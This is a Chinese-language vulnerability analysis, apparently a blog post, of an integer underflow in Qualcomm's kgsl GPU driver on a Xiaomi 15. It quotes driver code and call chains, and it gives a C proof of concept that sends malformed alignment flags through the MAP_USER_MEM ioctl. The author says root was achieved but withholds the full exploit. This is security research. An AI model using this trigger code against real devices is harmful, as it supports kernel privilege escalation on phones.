实验环境
小米15 (snapdragon 8 Elite)
漏洞分析 漏洞位于 kgsl 驱动上,相关 patch commit
有关 kgsl 的基本介绍可以阅读:Attacking the Qualcomm Adreno GPU
根据其描述可知为整数下溢。 在 kgsl_sharedmem.h 中 kgsl_memdesc_get_align 函数内容如下
1 2 3 4 5 6 7 8 9 10 11 12 static inline int kgsl_memdesc_get_align (const struct kgsl_memdesc *memdesc) { return FIELD_GET(KGSL_MEMALIGN_MASK, memdesc->flags); }
其返回值为 (memdesc->flags & 0x00FF0000) >> 16,类型为 int 整型,取值范围为 0-0xff。
在 kgsl_iommu.c 中 kgsl_iommu_get_gpuaddr 函数内容如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 static int kgsl_iommu_get_gpuaddr (struct kgsl_pagetable *pagetable, struct kgsl_memdesc *memdesc) { int ret = 0 ; u64 start, end, size, align; if (WARN_ON(kgsl_memdesc_use_cpu_map(memdesc))) return -EINVAL; if (memdesc->flags & KGSL_MEMFLAGS_SECURE && pagetable->name != KGSL_MMU_SECURE_PT) return -EINVAL; size = kgsl_memdesc_footprint(memdesc); align = max_t (uint64_t , 1 << kgsl_memdesc_get_align(memdesc), PAGE_SIZE); if (memdesc->flags & KGSL_MEMFLAGS_FORCE_32BIT) { start = pagetable->compat_va_start; end = pagetable->compat_va_end; } else { start = pagetable->va_start; end = pagetable->va_end; } ret = get_gpuaddr(pagetable, memdesc, start, end, size, align); if (ret == -ENOMEM) { flush_workqueue(kgsl_driver.lockless_workqueue); ret = get_gpuaddr(pagetable, memdesc, start, end, size, align); } return ret; }
该函数通过 max_t 行获取 align,这里 align 变量为 u64 类型。我们可以控制 kgsl_memdesc_get_align 返回超大值 (eg.32)这样会导致其变为0,align赋值为 PAGE_SIZE。 在 kgsl.c 中 get_svm_unmapped_area 函数内容如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 static unsigned long get_svm_unmapped_area (struct file *file, struct kgsl_mem_entry *entry, unsigned long addr, unsigned long len, unsigned long flags) { struct kgsl_device_private *dev_priv = file->private_data; struct kgsl_process_private *private = dev_priv->process_priv; unsigned long align = get_align(entry); unsigned long ret, iova; u64 start = 0 , end = 0 ; struct vm_area_struct *vma ; if (flags & MAP_FIXED) { if (!IS_ALIGNED(addr, align)) return -EINVAL; return set_svm_area(file, entry, addr, len, flags); } if (addr) { if (IS_ALIGNED(addr, align)) { ret = set_svm_area(file, entry, addr, len, flags); if (!IS_ERR_VALUE(ret)) return ret; } } if (kgsl_mmu_svm_range(private->pagetable, &start, &end, entry->memdesc.flags)) return -ERANGE; iova = kgsl_mmu_find_svm_region(private->pagetable, start, end, len, align); while (!IS_ERR_VALUE(iova)) { vma = find_vma_intersection(current->mm, iova, iova + len - 1 ); if (vma) { iova = vma->vm_start; } else { ret = set_svm_area(file, entry, iova, len, flags); if (!IS_ERR_VALUE(ret)) return ret; if ((long ) ret == -EBUSY) return -EBUSY; } iova = kgsl_mmu_find_svm_region(private->pagetable, start, iova - 1 , len, align); } return -ENOMEM; }
其调用 get_align 函数获取 memdesc->flags 中的 alignment。get_align 定义如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 static unsigned long get_align (struct kgsl_mem_entry *entry) { int bit = kgsl_memdesc_get_align(&entry->memdesc); if (bit >= ilog2(SZ_2M)) return SZ_2M; else if (bit >= ilog2(SZ_1M)) return SZ_1M; else if (bit >= ilog2(SZ_64K)) return SZ_64K; return SZ_4K; }
这里则是通过 bit 与 ilog2()的比较来返回固定值,那么如上我们设置为一个超大值,这里会返回 SZ_2M。 可以发现,出现整数下溢后,在处理过程中会出现行为不一致的问题。kgsl_iommu_get_gpuaddr的函数调用链如下:
1 2 3 4 5 6 7 kgsl_ioctl -> kgsl_ioctl_helper -> cmds[nr].func(kgsl_ioctl_map_user_mem) -> kgsl_mem_entry_attach_and_map -> kgsl_mem_entry_attach_to_process -> kgsl_mem_get_gpuaddr -> kgsl_iommu_get_gpuaddr(pt_ops->get_gpuaddr)
get_svm_unmapped_area 函数调用链如下:
1 2 3 kgsl_fops.get_unmapped_area -> kgsl_get_unmapped_area -> get_svm_unmapped_area
PoC 编写 首先获取目标手机的基本信息:
1 2 3 4 adb shell getprop ro.product.cpu.abi # arm64-v8a adb shell getprop ro.build.version.sdk # 36
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 #include "include/uapi/linux/msm_kgsl.h" #include <fcntl.h> #include <linux/types.h> #include <stddef.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/ioctl.h> #include <sys/mman.h> #include <unistd.h> int dev_fd;size_t *spray_mem_ptrs[0x80 ];size_t *victim_mem_ptr;size_t *exp_mem_ptr;void dump_hex (size_t *addr, size_t len) { printf ("[*] Dump addr: %zx\n" , (size_t )addr); for (int i = 0 ; i < (len / sizeof (*addr) / 2 ); i += 2 ) { printf ("[*]\t%zx %zx\n" , addr[i], addr[i + 1 ]); } } size_t *map_usermem (size_t size, size_t align) { void *user_mem = mmap(NULL , size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1 , 0 ); if (user_mem == MAP_FAILED) { perror("[x] Failed to map user mem" ); exit (-1 ); } printf ("[*] Mapped user mem addr: 0x%zx\n" , (size_t )user_mem); memset (user_mem, 0x41 , size); struct kgsl_map_user_mem param = {.fd = -1 , .len = size, .offset = 0 , .hostptr = (unsigned long )user_mem, .memtype = KGSL_USER_MEM_TYPE_ADDR}; int err = 0 ; param.flags = (align << KGSL_MEMALIGN_SHIFT); printf ("[*] Sending Malicious Requests...\n" ); err = ioctl(dev_fd, IOCTL_KGSL_MAP_USER_MEM, ¶m); if (err < 0 ) { perror("[x] ioctl failed" ); exit (-1 ); } printf ("[+] Request succeeded! Got gpuaddr: 0x%lx - 0x%lx\n" , param.gpuaddr, param.gpuaddr + size); return user_mem; } int main () { printf ("Poc for CVE-2026-21385\n" ); dev_fd = open("/dev/kgsl-3d0" , O_RDWR); if (dev_fd < 0 ) { perror("[x] Failed to open target device" ); return -1 ; } printf ("[*] open target device success.\n" ); printf ("[*] alloc gpuaddr 0 & 0x80000000\n" ); exp_mem_ptr = map_usermem(0x1000 , 0x1f ); victim_mem_ptr = map_usermem(0x1000 , 24 ); return 0 ; }
在64bit模式下,在 assign gpuaddr 地址时,在 64bit 下会进入 _get_unmapped_area_hint 函数分支,该分支由于缺少校验机制,可以任意申请低地址
漏洞 exploit 接下来需要考虑如何基于该漏洞做利用
kgsl 内存管理 这里需要了解 kgsl 的内存布局,gpuaddr 到 物理地址的映射方法。 我们继续跟进 kgsl_mem_entry_attach_and_map 函数,其通过 kgsl_mem_entry_attach_to_process 函数获取到 gpuaddr 后,会调用 kgsl_mmu_map 函数进行内存映射。
pagetable 等结构体初始化 device->mmu->mmu-ops 在函数 kgsl_iommu_bind 函数中进行初始化,初始化为 kgsl_iommu_ops 变量。 当打开 /dev/kgsl-3d0 文件时,会调用 kgsl_open 函数,进行 page_table 的初始化,其调用链如下:
1 2 3 4 5 6 kgsl_open -> kgsl_process_private_open() -> kgsl_process_private_new() (alloc kgsl_process_private *private) -> kgsl_mmu_getpagetable() (alloc kgsl_pagetable) -> kgsl_iommu_getpagetable() -> kgsl_iopgtbl_pagetable()
其进行了 kgsl_pagetable 的初始化,分配对象 kgsl_iommu_pt 并返回 pt->base,对应pt_ops 为 iopgtbl_pt_ops。 该对象为全局结构体,定义如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 static const struct kgsl_mmu_pt_ops iopgtbl_pt_ops = { .mmu_map = kgsl_iopgtbl_map, .mmu_map_child = kgsl_iopgtbl_map_child, .mmu_map_zero_page_to_range = kgsl_iopgtbl_map_zero_page_to_range, .mmu_unmap = kgsl_iopgtbl_unmap, .mmu_unmap_range = kgsl_iopgtbl_unmap_range, .mmu_destroy_pagetable = kgsl_iommu_destroy_pagetable, .get_ttbr0 = kgsl_iommu_get_ttbr0, .get_context_bank = kgsl_iommu_get_context_bank, .get_asid = kgsl_iommu_get_asid, .get_gpuaddr = kgsl_iommu_get_gpuaddr, .put_gpuaddr = kgsl_iommu_put_gpuaddr, .set_svm_region = kgsl_iommu_set_svm_region, .find_svm_region = kgsl_iommu_find_svm_region, .svm_range = kgsl_iommu_svm_range, .addr_in_range = kgsl_iommu_addr_in_range, };
io_pgtable_ops 对象初始化位于各自os的驱动代码 arm_lpae_alloc_pgtable 函数中:
1 2 3 4 5 6 7 8 data->iop.ops = (struct io_pgtable_ops) { .map = arm_lpae_map, .map_pages = arm_lpae_map_pages, .map_sg = arm_lpae_map_sg, .unmap = arm_lpae_unmap, .unmap_pages = arm_lpae_unmap_pages, .iova_to_phys = arm_lpae_iova_to_phys, };
memdesc->pages 以及 memdesc->sgt 结构体初始化位于 memdesc_sg_virt 函数中,调用链如下:
1 2 3 4 5 kgsl_ioctl_map_user_mem -> _map_usermem_addr -> kgsl_setup_useraddr -> kgsl_setup_anon_useraddr ->memdesc_sg_virt
其会通过 get_user_pages 获取到用户内存页page对象到 pages 字段。
kgsl_mmu_map 在 user_mem_map 命令中,获取到 gpuaddr 后,会调用 kgsl_mmu_map 函数将其映射到 GPU 中的 物理内存 上,这里调用 pagetable->pt_ops->mmu_map(pagetable, memdesc) 函数来进行映射。 查看 pt_ops 函数定义
后续 最终还是成功拿到root了,很大程度上受到了DarkNavy推文的启发。不过由于在公司内,已交付产品,具体利用细节就不公布了,此处丢个利用成功截图留念 : )